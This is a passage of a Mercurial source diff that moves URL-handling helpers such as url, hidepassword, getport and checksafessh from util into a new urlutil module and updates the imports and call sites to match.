@@ -2647,7 +2648,7 b' def unbundle(repo, cg, heads, source, ur' | |||||
2647 | # push can proceed |
|
2648 | # push can proceed | |
2648 | if not isinstance(cg, bundle2.unbundle20): |
|
2649 | if not isinstance(cg, bundle2.unbundle20): | |
2649 | # legacy case: bundle1 (changegroup 01) |
|
2650 | # legacy case: bundle1 (changegroup 01) | |
2650 | txnname = b"\n".join([source, util.hidepassword(url)]) |
|
2651 | txnname = b"\n".join([source, urlutil.hidepassword(url)]) | |
2651 | with repo.lock(), repo.transaction(txnname) as tr: |
|
2652 | with repo.lock(), repo.transaction(txnname) as tr: | |
2652 | op = bundle2.applybundle(repo, cg, tr, source, url) |
|
2653 | op = bundle2.applybundle(repo, cg, tr, source, url) | |
2653 | r = bundle2.combinechangegroupresults(op) |
|
2654 | r = bundle2.combinechangegroupresults(op) |
@@ -55,6 +55,7 b' from . import (' | |||||
55 | from .utils import ( |
|
55 | from .utils import ( | |
56 | hashutil, |
|
56 | hashutil, | |
57 | stringutil, |
|
57 | stringutil, | |
|
58 | urlutil, | |||
58 | ) |
|
59 | ) | |
59 |
|
60 | |||
60 |
|
61 | |||
@@ -65,7 +66,7 b" sharedbookmarks = b'bookmarks'" | |||||
65 |
|
66 | |||
66 |
|
67 | |||
67 | def _local(path): |
|
68 | def _local(path): | |
68 | path = util.expandpath(util.urllocalpath(path)) |
|
69 | path = util.expandpath(urlutil.urllocalpath(path)) | |
69 |
|
70 | |||
70 | try: |
|
71 | try: | |
71 | # we use os.stat() directly here instead of os.path.isfile() |
|
72 | # we use os.stat() directly here instead of os.path.isfile() | |
@@ -132,7 +133,7 b' def addbranchrevs(lrepo, other, branches' | |||||
132 | def parseurl(path, branches=None): |
|
133 | def parseurl(path, branches=None): | |
133 | '''parse url#branch, returning (url, (branch, branches))''' |
|
134 | '''parse url#branch, returning (url, (branch, branches))''' | |
134 |
|
135 | |||
135 | u = util.url(path) |
|
136 | u = urlutil.url(path) | |
136 | branch = None |
|
137 | branch = None | |
137 | if u.fragment: |
|
138 | if u.fragment: | |
138 | branch = u.fragment |
|
139 | branch = u.fragment | |
@@ -152,7 +153,7 b' schemes = {' | |||||
152 |
|
153 | |||
153 |
|
154 | |||
154 | def _peerlookup(path): |
|
155 | def _peerlookup(path): | |
155 | u = util.url(path) |
|
156 | u = urlutil.url(path) | |
156 | scheme = u.scheme or b'file' |
|
157 | scheme = u.scheme or b'file' | |
157 | thing = schemes.get(scheme) or schemes[b'file'] |
|
158 | thing = schemes.get(scheme) or schemes[b'file'] | |
158 | try: |
|
159 | try: | |
@@ -177,7 +178,7 b' def islocal(repo):' | |||||
177 |
|
178 | |||
178 | def openpath(ui, path, sendaccept=True): |
|
179 | def openpath(ui, path, sendaccept=True): | |
179 | '''open path with open if local, url.open if remote''' |
|
180 | '''open path with open if local, url.open if remote''' | |
180 | pathurl = util.url(path, parsequery=False, parsefragment=False) |
|
181 | pathurl = urlutil.url(path, parsequery=False, parsefragment=False) | |
181 | if pathurl.islocal(): |
|
182 | if pathurl.islocal(): | |
182 | return util.posixfile(pathurl.localpath(), b'rb') |
|
183 | return util.posixfile(pathurl.localpath(), b'rb') | |
183 | else: |
|
184 | else: | |
@@ -265,7 +266,7 b' def defaultdest(source):' | |||||
265 | >>> defaultdest(b'http://example.org/foo/') |
|
266 | >>> defaultdest(b'http://example.org/foo/') | |
266 | 'foo' |
|
267 | 'foo' | |
267 | """ |
|
268 | """ | |
268 | path = util.url(source).path |
|
269 | path = urlutil.url(source).path | |
269 | if not path: |
|
270 | if not path: | |
270 | return b'' |
|
271 | return b'' | |
271 | return os.path.basename(os.path.normpath(path)) |
|
272 | return os.path.basename(os.path.normpath(path)) | |
@@ -571,7 +572,7 b' def clonewithshare(' | |||||
571 |
|
572 | |||
572 | # Resolve the value to put in [paths] section for the source. |
|
573 | # Resolve the value to put in [paths] section for the source. | |
573 | if islocal(source): |
|
574 | if islocal(source): | |
574 | defaultpath = os.path.abspath(util.urllocalpath(source)) |
|
575 | defaultpath = os.path.abspath(urlutil.urllocalpath(source)) | |
575 | else: |
|
576 | else: | |
576 | defaultpath = source |
|
577 | defaultpath = source | |
577 |
|
578 | |||
@@ -693,8 +694,8 b' def clone(' | |||||
693 | else: |
|
694 | else: | |
694 | dest = ui.expandpath(dest) |
|
695 | dest = ui.expandpath(dest) | |
695 |
|
696 | |||
696 | dest = util.urllocalpath(dest) |
|
697 | dest = urlutil.urllocalpath(dest) | |
697 | source = util.urllocalpath(source) |
|
698 | source = urlutil.urllocalpath(source) | |
698 |
|
699 | |||
699 | if not dest: |
|
700 | if not dest: | |
700 | raise error.InputError(_(b"empty destination path is not valid")) |
|
701 | raise error.InputError(_(b"empty destination path is not valid")) | |
@@ -825,7 +826,7 b' def clone(' | |||||
825 |
|
826 | |||
826 | abspath = origsource |
|
827 | abspath = origsource | |
827 | if islocal(origsource): |
|
828 | if islocal(origsource): | |
828 | abspath = os.path.abspath(util.urllocalpath(origsource)) |
|
829 | abspath = os.path.abspath(urlutil.urllocalpath(origsource)) | |
829 |
|
830 | |||
830 | if islocal(dest): |
|
831 | if islocal(dest): | |
831 | cleandir = dest |
|
832 | cleandir = dest | |
@@ -939,7 +940,7 b' def clone(' | |||||
939 | local.setnarrowpats(storeincludepats, storeexcludepats) |
|
940 | local.setnarrowpats(storeincludepats, storeexcludepats) | |
940 | narrowspec.copytoworkingcopy(local) |
|
941 | narrowspec.copytoworkingcopy(local) | |
941 |
|
942 | |||
942 | u = util.url(abspath) |
|
943 | u = urlutil.url(abspath) | |
943 | defaulturl = bytes(u) |
|
944 | defaulturl = bytes(u) | |
944 | local.ui.setconfig(b'paths', b'default', defaulturl, b'clone') |
|
945 | local.ui.setconfig(b'paths', b'default', defaulturl, b'clone') | |
945 | if not stream: |
|
946 | if not stream: | |
@@ -986,7 +987,7 b' def clone(' | |||||
986 | destrepo = destpeer.local() |
|
987 | destrepo = destpeer.local() | |
987 | if destrepo: |
|
988 | if destrepo: | |
988 | template = uimod.samplehgrcs[b'cloned'] |
|
989 | template = uimod.samplehgrcs[b'cloned'] | |
989 | u = util.url(abspath) |
|
990 | u = urlutil.url(abspath) | |
990 | u.passwd = None |
|
991 | u.passwd = None | |
991 | defaulturl = bytes(u) |
|
992 | defaulturl = bytes(u) | |
992 | destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl)) |
|
993 | destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl)) | |
@@ -1269,7 +1270,7 b' def _incoming(' | |||||
1269 | other = peer(repo, opts, source) |
|
1270 | other = peer(repo, opts, source) | |
1270 | cleanupfn = other.close |
|
1271 | cleanupfn = other.close | |
1271 | try: |
|
1272 | try: | |
1272 | ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) |
|
1273 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source)) | |
1273 | revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev')) |
|
1274 | revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev')) | |
1274 |
|
1275 | |||
1275 | if revs: |
|
1276 | if revs: | |
@@ -1330,7 +1331,7 b' def _outgoing(ui, repo, dest, opts):' | |||||
1330 | dest = path.pushloc or path.loc |
|
1331 | dest = path.pushloc or path.loc | |
1331 | branches = path.branch, opts.get(b'branch') or [] |
|
1332 | branches = path.branch, opts.get(b'branch') or [] | |
1332 |
|
1333 | |||
1333 | ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) |
|
1334 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) | |
1334 | revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev')) |
|
1335 | revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev')) | |
1335 | if revs: |
|
1336 | if revs: | |
1336 | revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)] |
|
1337 | revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)] |
@@ -17,6 +17,9 b' from .. import (' | |||||
17 | pycompat, |
|
17 | pycompat, | |
18 | util, |
|
18 | util, | |
19 | ) |
|
19 | ) | |
|
20 | from ..utils import ( | |||
|
21 | urlutil, | |||
|
22 | ) | |||
20 |
|
23 | |||
21 |
|
24 | |||
22 | class multidict(object): |
|
25 | class multidict(object): | |
@@ -184,7 +187,7 b' def parserequestfromenv(env, reponame=No' | |||||
184 | reponame = env.get(b'REPO_NAME') |
|
187 | reponame = env.get(b'REPO_NAME') | |
185 |
|
188 | |||
186 | if altbaseurl: |
|
189 | if altbaseurl: | |
187 | altbaseurl = util.url(altbaseurl) |
|
190 | altbaseurl = urlutil.url(altbaseurl) | |
188 |
|
191 | |||
189 | # https://www.python.org/dev/peps/pep-0333/#environ-variables defines |
|
192 | # https://www.python.org/dev/peps/pep-0333/#environ-variables defines | |
190 | # the environment variables. |
|
193 | # the environment variables. |
@@ -28,6 +28,9 b' from .. import (' | |||||
28 | pycompat, |
|
28 | pycompat, | |
29 | util, |
|
29 | util, | |
30 | ) |
|
30 | ) | |
|
31 | from ..utils import ( | |||
|
32 | urlutil, | |||
|
33 | ) | |||
31 |
|
34 | |||
32 | httpservermod = util.httpserver |
|
35 | httpservermod = util.httpserver | |
33 | socketserver = util.socketserver |
|
36 | socketserver = util.socketserver | |
@@ -431,7 +434,7 b' def create_server(ui, app):' | |||||
431 | sys.setdefaultencoding(oldenc) |
|
434 | sys.setdefaultencoding(oldenc) | |
432 |
|
435 | |||
433 | address = ui.config(b'web', b'address') |
|
436 | address = ui.config(b'web', b'address') | |
434 | port = util.getport(ui.config(b'web', b'port')) |
|
437 | port = urlutil.getport(ui.config(b'web', b'port')) | |
435 | try: |
|
438 | try: | |
436 | return cls(ui, app, (address, port), handler) |
|
439 | return cls(ui, app, (address, port), handler) | |
437 | except socket.error as inst: |
|
440 | except socket.error as inst: |
@@ -18,6 +18,10 b' from . import (' | |||||
18 | pycompat, |
|
18 | pycompat, | |
19 | util, |
|
19 | util, | |
20 | ) |
|
20 | ) | |
|
21 | from .utils import ( | |||
|
22 | urlutil, | |||
|
23 | ) | |||
|
24 | ||||
21 |
|
25 | |||
22 | urlerr = util.urlerr |
|
26 | urlerr = util.urlerr | |
23 | urlreq = util.urlreq |
|
27 | urlreq = util.urlreq | |
@@ -99,7 +103,7 b' def readauthforuri(ui, uri, user):' | |||||
99 | if not prefix: |
|
103 | if not prefix: | |
100 | continue |
|
104 | continue | |
101 |
|
105 | |||
102 | prefixurl = util.url(prefix) |
|
106 | prefixurl = urlutil.url(prefix) | |
103 | if prefixurl.user and prefixurl.user != user: |
|
107 | if prefixurl.user and prefixurl.user != user: | |
104 | # If a username was set in the prefix, it must match the username in |
|
108 | # If a username was set in the prefix, it must match the username in | |
105 | # the URI. |
|
109 | # the URI. |
@@ -38,6 +38,7 b' from .interfaces import (' | |||||
38 | from .utils import ( |
|
38 | from .utils import ( | |
39 | cborutil, |
|
39 | cborutil, | |
40 | stringutil, |
|
40 | stringutil, | |
|
41 | urlutil, | |||
41 | ) |
|
42 | ) | |
42 |
|
43 | |||
43 | httplib = util.httplib |
|
44 | httplib = util.httplib | |
@@ -305,7 +306,7 b' def sendrequest(ui, opener, req):' | |||||
305 | except httplib.HTTPException as inst: |
|
306 | except httplib.HTTPException as inst: | |
306 | ui.debug( |
|
307 | ui.debug( | |
307 | b'http error requesting %s\n' |
|
308 | b'http error requesting %s\n' | |
308 | % util.hidepassword(req.get_full_url()) |
|
309 | % urlutil.hidepassword(req.get_full_url()) | |
309 | ) |
|
310 | ) | |
310 | ui.traceback() |
|
311 | ui.traceback() | |
311 | raise IOError(None, inst) |
|
312 | raise IOError(None, inst) | |
@@ -352,14 +353,14 b' def parsev1commandresponse(' | |||||
352 | except AttributeError: |
|
353 | except AttributeError: | |
353 | proto = pycompat.bytesurl(resp.headers.get('content-type', '')) |
|
354 | proto = pycompat.bytesurl(resp.headers.get('content-type', '')) | |
354 |
|
355 | |||
355 | safeurl = util.hidepassword(baseurl) |
|
356 | safeurl = urlutil.hidepassword(baseurl) | |
356 | if proto.startswith(b'application/hg-error'): |
|
357 | if proto.startswith(b'application/hg-error'): | |
357 | raise error.OutOfBandError(resp.read()) |
|
358 | raise error.OutOfBandError(resp.read()) | |
358 |
|
359 | |||
359 | # Pre 1.0 versions of Mercurial used text/plain and |
|
360 | # Pre 1.0 versions of Mercurial used text/plain and | |
360 | # application/hg-changegroup. We don't support such old servers. |
|
361 | # application/hg-changegroup. We don't support such old servers. | |
361 | if not proto.startswith(b'application/mercurial-'): |
|
362 | if not proto.startswith(b'application/mercurial-'): | |
362 | ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl)) |
|
363 | ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl)) | |
363 | msg = _( |
|
364 | msg = _( | |
364 | b"'%s' does not appear to be an hg repository:\n" |
|
365 | b"'%s' does not appear to be an hg repository:\n" | |
365 | b"---%%<--- (%s)\n%s\n---%%<---\n" |
|
366 | b"---%%<--- (%s)\n%s\n---%%<---\n" | |
@@ -1058,7 +1059,7 b' def makepeer(ui, path, opener=None, requ' | |||||
1058 | ``requestbuilder`` is the type used for constructing HTTP requests. |
|
1059 | ``requestbuilder`` is the type used for constructing HTTP requests. | |
1059 | It exists as an argument so extensions can override the default. |
|
1060 | It exists as an argument so extensions can override the default. | |
1060 | """ |
|
1061 | """ | |
1061 | u = util.url(path) |
|
1062 | u = urlutil.url(path) | |
1062 | if u.query or u.fragment: |
|
1063 | if u.query or u.fragment: | |
1063 | raise error.Abort( |
|
1064 | raise error.Abort( | |
1064 | _(b'unsupported URL component: "%s"') % (u.query or u.fragment) |
|
1065 | _(b'unsupported URL component: "%s"') % (u.query or u.fragment) |
@@ -85,6 +85,7 b' from .utils import (' | |||||
85 | hashutil, |
|
85 | hashutil, | |
86 | procutil, |
|
86 | procutil, | |
87 | stringutil, |
|
87 | stringutil, | |
|
88 | urlutil, | |||
88 | ) |
|
89 | ) | |
89 |
|
90 | |||
90 | from .revlogutils import ( |
|
91 | from .revlogutils import ( | |
@@ -3404,7 +3405,7 b' def undoname(fn):' | |||||
3404 |
|
3405 | |||
3405 |
|
3406 | |||
3406 | def instance(ui, path, create, intents=None, createopts=None): |
|
3407 | def instance(ui, path, create, intents=None, createopts=None): | |
3407 | localpath = util.urllocalpath(path) |
|
3408 | localpath = urlutil.urllocalpath(path) | |
3408 | if create: |
|
3409 | if create: | |
3409 | createrepository(ui, localpath, createopts=createopts) |
|
3410 | createrepository(ui, localpath, createopts=createopts) | |
3410 |
|
3411 |
@@ -15,6 +15,9 b' from . import (' | |||||
15 | util, |
|
15 | util, | |
16 | vfs as vfsmod, |
|
16 | vfs as vfsmod, | |
17 | ) |
|
17 | ) | |
|
18 | from .utils import ( | |||
|
19 | urlutil, | |||
|
20 | ) | |||
18 |
|
21 | |||
19 | # directory name in .hg/ in which remotenames files will be present |
|
22 | # directory name in .hg/ in which remotenames files will be present | |
20 | remotenamedir = b'logexchange' |
|
23 | remotenamedir = b'logexchange' | |
@@ -117,7 +120,7 b' def activepath(repo, remote):' | |||||
117 | # represent the remotepath with user defined path name if exists |
|
120 | # represent the remotepath with user defined path name if exists | |
118 | for path, url in repo.ui.configitems(b'paths'): |
|
121 | for path, url in repo.ui.configitems(b'paths'): | |
119 | # remove auth info from user defined url |
|
122 | # remove auth info from user defined url | |
120 | noauthurl = util.removeauth(url) |
|
123 | noauthurl = urlutil.removeauth(url) | |
121 |
|
124 | |||
122 | # Standardize on unix style paths, otherwise some {remotenames} end up |
|
125 | # Standardize on unix style paths, otherwise some {remotenames} end up | |
123 | # being an absolute path on Windows. |
|
126 | # being an absolute path on Windows. |
@@ -34,6 +34,7 b' from . import (' | |||||
34 | from .utils import ( |
|
34 | from .utils import ( | |
35 | procutil, |
|
35 | procutil, | |
36 | stringutil, |
|
36 | stringutil, | |
|
37 | urlutil, | |||
37 | ) |
|
38 | ) | |
38 |
|
39 | |||
39 | if pycompat.TYPE_CHECKING: |
|
40 | if pycompat.TYPE_CHECKING: | |
@@ -139,7 +140,7 b' def _smtp(ui):' | |||||
139 | defaultport = 465 |
|
140 | defaultport = 465 | |
140 | else: |
|
141 | else: | |
141 | defaultport = 25 |
|
142 | defaultport = 25 | |
142 | mailport = util.getport(ui.config(b'smtp', b'port', defaultport)) |
|
143 | mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport)) | |
143 | ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport)) |
|
144 | ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport)) | |
144 | s.connect(host=mailhost, port=mailport) |
|
145 | s.connect(host=mailhost, port=mailport) | |
145 | if starttls: |
|
146 | if starttls: |
@@ -28,11 +28,11 b' from . import (' | |||||
28 | pycompat, |
|
28 | pycompat, | |
29 | requirements, |
|
29 | requirements, | |
30 | scmutil, |
|
30 | scmutil, | |
31 | util, |
|
|||
32 | ) |
|
31 | ) | |
33 | from .utils import ( |
|
32 | from .utils import ( | |
34 | hashutil, |
|
33 | hashutil, | |
35 | stringutil, |
|
34 | stringutil, | |
|
35 | urlutil, | |||
36 | ) |
|
36 | ) | |
37 |
|
37 | |||
38 |
|
38 | |||
@@ -245,7 +245,7 b' def strip(ui, repo, nodelist, backup=Tru' | |||||
245 | tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile) |
|
245 | tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile) | |
246 | txnname = b'strip' |
|
246 | txnname = b'strip' | |
247 | if not isinstance(gen, bundle2.unbundle20): |
|
247 | if not isinstance(gen, bundle2.unbundle20): | |
248 | txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl) |
|
248 | txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl) | |
249 | with repo.transaction(txnname) as tr: |
|
249 | with repo.transaction(txnname) as tr: | |
250 | bundle2.applybundle( |
|
250 | bundle2.applybundle( | |
251 | repo, gen, tr, source=b'strip', url=tmpbundleurl |
|
251 | repo, gen, tr, source=b'strip', url=tmpbundleurl |
@@ -22,7 +22,10 b' from . import (' | |||||
22 | util, |
|
22 | util, | |
23 | ) |
|
23 | ) | |
24 |
|
24 | |||
25 |
from .utils import |
|
25 | from .utils import ( | |
|
26 | procutil, | |||
|
27 | urlutil, | |||
|
28 | ) | |||
26 |
|
29 | |||
27 |
|
30 | |||
28 | def runservice( |
|
31 | def runservice( | |
@@ -184,7 +187,7 b' def _createcmdservice(ui, repo, opts):' | |||||
184 | def _createhgwebservice(ui, repo, opts): |
|
187 | def _createhgwebservice(ui, repo, opts): | |
185 | # this way we can check if something was given in the command-line |
|
188 | # this way we can check if something was given in the command-line | |
186 | if opts.get(b'port'): |
|
189 | if opts.get(b'port'): | |
187 | opts[b'port'] = util.getport(opts.get(b'port')) |
|
190 | opts[b'port'] = urlutil.getport(opts.get(b'port')) | |
188 |
|
191 | |||
189 | alluis = {ui} |
|
192 | alluis = {ui} | |
190 | if repo: |
|
193 | if repo: |
@@ -24,6 +24,7 b' from . import (' | |||||
24 | from .utils import ( |
|
24 | from .utils import ( | |
25 | procutil, |
|
25 | procutil, | |
26 | stringutil, |
|
26 | stringutil, | |
|
27 | urlutil, | |||
27 | ) |
|
28 | ) | |
28 |
|
29 | |||
29 |
|
30 | |||
@@ -662,11 +663,11 b' def instance(ui, path, create, intents=N' | |||||
662 |
|
663 | |||
663 | The returned object conforms to the ``wireprotov1peer.wirepeer`` interface. |
|
664 | The returned object conforms to the ``wireprotov1peer.wirepeer`` interface. | |
664 | """ |
|
665 | """ | |
665 | u = util.url(path, parsequery=False, parsefragment=False) |
|
666 | u = urlutil.url(path, parsequery=False, parsefragment=False) | |
666 | if u.scheme != b'ssh' or not u.host or u.path is None: |
|
667 | if u.scheme != b'ssh' or not u.host or u.path is None: | |
667 | raise error.RepoError(_(b"couldn't parse location %s") % path) |
|
668 | raise error.RepoError(_(b"couldn't parse location %s") % path) | |
668 |
|
669 | |||
669 | util.checksafessh(path) |
|
670 | urlutil.checksafessh(path) | |
670 |
|
671 | |||
671 | if u.passwd is not None: |
|
672 | if u.passwd is not None: | |
672 | raise error.RepoError(_(b'password in URL not supported')) |
|
673 | raise error.RepoError(_(b'password in URL not supported')) |
@@ -26,6 +26,9 b' from . import (' | |||||
26 | util, |
|
26 | util, | |
27 | vfs as vfsmod, |
|
27 | vfs as vfsmod, | |
28 | ) |
|
28 | ) | |
|
29 | from .utils import ( | |||
|
30 | urlutil, | |||
|
31 | ) | |||
29 |
|
32 | |||
30 | urlerr = util.urlerr |
|
33 | urlerr = util.urlerr | |
31 | urlreq = util.urlreq |
|
34 | urlreq = util.urlreq | |
@@ -162,7 +165,7 b' class statichttprepository(' | |||||
162 | self.ui = ui |
|
165 | self.ui = ui | |
163 |
|
166 | |||
164 | self.root = path |
|
167 | self.root = path | |
165 | u = util.url(path.rstrip(b'/') + b"/.hg") |
|
168 | u = urlutil.url(path.rstrip(b'/') + b"/.hg") | |
166 | self.path, authinfo = u.authinfo() |
|
169 | self.path, authinfo = u.authinfo() | |
167 |
|
170 | |||
168 | vfsclass = build_opener(ui, authinfo) |
|
171 | vfsclass = build_opener(ui, authinfo) |
@@ -44,6 +44,7 b' from .utils import (' | |||||
44 | dateutil, |
|
44 | dateutil, | |
45 | hashutil, |
|
45 | hashutil, | |
46 | procutil, |
|
46 | procutil, | |
|
47 | urlutil, | |||
47 | ) |
|
48 | ) | |
48 |
|
49 | |||
49 | hg = None |
|
50 | hg = None | |
@@ -57,8 +58,8 b' def _expandedabspath(path):' | |||||
57 | """ |
|
58 | """ | |
58 | get a path or url and if it is a path expand it and return an absolute path |
|
59 | get a path or url and if it is a path expand it and return an absolute path | |
59 | """ |
|
60 | """ | |
60 | expandedpath = util.urllocalpath(util.expandpath(path)) |
|
61 | expandedpath = urlutil.urllocalpath(util.expandpath(path)) | |
61 | u = util.url(expandedpath) |
|
62 | u = urlutil.url(expandedpath) | |
62 | if not u.scheme: |
|
63 | if not u.scheme: | |
63 | path = util.normpath(os.path.abspath(u.path)) |
|
64 | path = util.normpath(os.path.abspath(u.path)) | |
64 | return path |
|
65 | return path | |
@@ -745,7 +746,7 b' class hgsubrepo(abstractsubrepo):' | |||||
745 |
|
746 | |||
746 | self.ui.status( |
|
747 | self.ui.status( | |
747 | _(b'cloning subrepo %s from %s\n') |
|
748 | _(b'cloning subrepo %s from %s\n') | |
748 | % (subrelpath(self), util.hidepassword(srcurl)) |
|
749 | % (subrelpath(self), urlutil.hidepassword(srcurl)) | |
749 | ) |
|
750 | ) | |
750 | peer = getpeer() |
|
751 | peer = getpeer() | |
751 | try: |
|
752 | try: | |
@@ -765,7 +766,7 b' class hgsubrepo(abstractsubrepo):' | |||||
765 | else: |
|
766 | else: | |
766 | self.ui.status( |
|
767 | self.ui.status( | |
767 | _(b'pulling subrepo %s from %s\n') |
|
768 | _(b'pulling subrepo %s from %s\n') | |
768 | % (subrelpath(self), util.hidepassword(srcurl)) |
|
769 | % (subrelpath(self), urlutil.hidepassword(srcurl)) | |
769 | ) |
|
770 | ) | |
770 | cleansub = self.storeclean(srcurl) |
|
771 | cleansub = self.storeclean(srcurl) | |
771 | peer = getpeer() |
|
772 | peer = getpeer() | |
@@ -849,12 +850,12 b' class hgsubrepo(abstractsubrepo):' | |||||
849 | if self.storeclean(dsturl): |
|
850 | if self.storeclean(dsturl): | |
850 | self.ui.status( |
|
851 | self.ui.status( | |
851 | _(b'no changes made to subrepo %s since last push to %s\n') |
|
852 | _(b'no changes made to subrepo %s since last push to %s\n') | |
852 | % (subrelpath(self), util.hidepassword(dsturl)) |
|
853 | % (subrelpath(self), urlutil.hidepassword(dsturl)) | |
853 | ) |
|
854 | ) | |
854 | return None |
|
855 | return None | |
855 | self.ui.status( |
|
856 | self.ui.status( | |
856 | _(b'pushing subrepo %s to %s\n') |
|
857 | _(b'pushing subrepo %s to %s\n') | |
857 | % (subrelpath(self), util.hidepassword(dsturl)) |
|
858 | % (subrelpath(self), urlutil.hidepassword(dsturl)) | |
858 | ) |
|
859 | ) | |
859 | other = hg.peer(self._repo, {b'ssh': ssh}, dsturl) |
|
860 | other = hg.peer(self._repo, {b'ssh': ssh}, dsturl) | |
860 | try: |
|
861 | try: | |
@@ -1284,7 +1285,7 b' class svnsubrepo(abstractsubrepo):' | |||||
1284 | args.append(b'%s@%s' % (state[0], state[1])) |
|
1285 | args.append(b'%s@%s' % (state[0], state[1])) | |
1285 |
|
1286 | |||
1286 | # SEC: check that the ssh url is safe |
|
1287 | # SEC: check that the ssh url is safe | |
1287 | util.checksafessh(state[0]) |
|
1288 | urlutil.checksafessh(state[0]) | |
1288 |
|
1289 | |||
1289 | status, err = self._svncommand(args, failok=True) |
|
1290 | status, err = self._svncommand(args, failok=True) | |
1290 | _sanitize(self.ui, self.wvfs, b'.svn') |
|
1291 | _sanitize(self.ui, self.wvfs, b'.svn') | |
@@ -1582,7 +1583,7 b' class gitsubrepo(abstractsubrepo):' | |||||
1582 | def _fetch(self, source, revision): |
|
1583 | def _fetch(self, source, revision): | |
1583 | if self._gitmissing(): |
|
1584 | if self._gitmissing(): | |
1584 | # SEC: check for safe ssh url |
|
1585 | # SEC: check for safe ssh url | |
1585 | util.checksafessh(source) |
|
1586 | urlutil.checksafessh(source) | |
1586 |
|
1587 | |||
1587 | source = self._abssource(source) |
|
1588 | source = self._abssource(source) | |
1588 | self.ui.status( |
|
1589 | self.ui.status( |
@@ -23,7 +23,10 b' from . import (' | |||||
23 | pycompat, |
|
23 | pycompat, | |
24 | util, |
|
24 | util, | |
25 | ) |
|
25 | ) | |
26 |
from .utils import |
|
26 | from .utils import ( | |
|
27 | stringutil, | |||
|
28 | urlutil, | |||
|
29 | ) | |||
27 |
|
30 | |||
28 | nullstate = (b'', b'', b'empty') |
|
31 | nullstate = (b'', b'', b'empty') | |
29 |
|
32 | |||
@@ -136,10 +139,10 b' def state(ctx, ui):' | |||||
136 | kind = kind[1:] |
|
139 | kind = kind[1:] | |
137 | src = src.lstrip() # strip any extra whitespace after ']' |
|
140 | src = src.lstrip() # strip any extra whitespace after ']' | |
138 |
|
141 | |||
139 | if not util.url(src).isabs(): |
|
142 | if not urlutil.url(src).isabs(): | |
140 | parent = _abssource(repo, abort=False) |
|
143 | parent = _abssource(repo, abort=False) | |
141 | if parent: |
|
144 | if parent: | |
142 | parent = util.url(parent) |
|
145 | parent = urlutil.url(parent) | |
143 | parent.path = posixpath.join(parent.path or b'', src) |
|
146 | parent.path = posixpath.join(parent.path or b'', src) | |
144 | parent.path = posixpath.normpath(parent.path) |
|
147 | parent.path = posixpath.normpath(parent.path) | |
145 | joined = bytes(parent) |
|
148 | joined = bytes(parent) | |
@@ -400,13 +403,13 b' def _abssource(repo, push=False, abort=T' | |||||
400 | """return pull/push path of repo - either based on parent repo .hgsub info |
|
403 | """return pull/push path of repo - either based on parent repo .hgsub info | |
401 | or on the top repo config. Abort or return None if no source found.""" |
|
404 | or on the top repo config. Abort or return None if no source found.""" | |
402 | if util.safehasattr(repo, b'_subparent'): |
|
405 | if util.safehasattr(repo, b'_subparent'): | |
403 | source = util.url(repo._subsource) |
|
406 | source = urlutil.url(repo._subsource) | |
404 | if source.isabs(): |
|
407 | if source.isabs(): | |
405 | return bytes(source) |
|
408 | return bytes(source) | |
406 | source.path = posixpath.normpath(source.path) |
|
409 | source.path = posixpath.normpath(source.path) | |
407 | parent = _abssource(repo._subparent, push, abort=False) |
|
410 | parent = _abssource(repo._subparent, push, abort=False) | |
408 | if parent: |
|
411 | if parent: | |
409 | parent = util.url(util.pconvert(parent)) |
|
412 | parent = urlutil.url(util.pconvert(parent)) | |
410 | parent.path = posixpath.join(parent.path or b'', source.path) |
|
413 | parent.path = posixpath.join(parent.path or b'', source.path) | |
411 | parent.path = posixpath.normpath(parent.path) |
|
414 | parent.path = posixpath.normpath(parent.path) | |
412 | return bytes(parent) |
|
415 | return bytes(parent) | |
@@ -435,7 +438,7 b' def _abssource(repo, push=False, abort=T' | |||||
435 | # |
|
438 | # | |
436 | # D:\>python -c "import os; print os.path.abspath('C:relative')" |
|
439 | # D:\>python -c "import os; print os.path.abspath('C:relative')" | |
437 | # C:\some\path\relative |
|
440 | # C:\some\path\relative | |
438 | if util.hasdriveletter(path): |
|
441 | if urlutil.hasdriveletter(path): | |
439 | if len(path) == 2 or path[2:3] not in br'\/': |
|
442 | if len(path) == 2 or path[2:3] not in br'\/': | |
440 | path = os.path.abspath(path) |
|
443 | path = os.path.abspath(path) | |
441 | return path |
|
444 | return path |
@@ -559,7 +559,7 b' class ui(object):' | |||||
559 | ) |
|
559 | ) | |
560 | p = p.replace(b'%%', b'%') |
|
560 | p = p.replace(b'%%', b'%') | |
561 | p = util.expandpath(p) |
|
561 | p = util.expandpath(p) | |
562 | if not util.hasscheme(p) and not os.path.isabs(p): |
|
562 | if not urlutil.hasscheme(p) and not os.path.isabs(p): | |
563 | p = os.path.normpath(os.path.join(root, p)) |
|
563 | p = os.path.normpath(os.path.join(root, p)) | |
564 | c.alter(b"paths", n, p) |
|
564 | c.alter(b"paths", n, p) | |
565 |
|
565 |
@@ -26,7 +26,10 b' from . import (' | |||||
26 | urllibcompat, |
|
26 | urllibcompat, | |
27 | util, |
|
27 | util, | |
28 | ) |
|
28 | ) | |
29 |
from .utils import |
|
29 | from .utils import ( | |
|
30 | stringutil, | |||
|
31 | urlutil, | |||
|
32 | ) | |||
30 |
|
33 | |||
31 | httplib = util.httplib |
|
34 | httplib = util.httplib | |
32 | stringio = util.stringio |
|
35 | stringio = util.stringio | |
@@ -75,17 +78,17 b' class passwordmgr(object):' | |||||
75 | user, passwd = auth.get(b'username'), auth.get(b'password') |
|
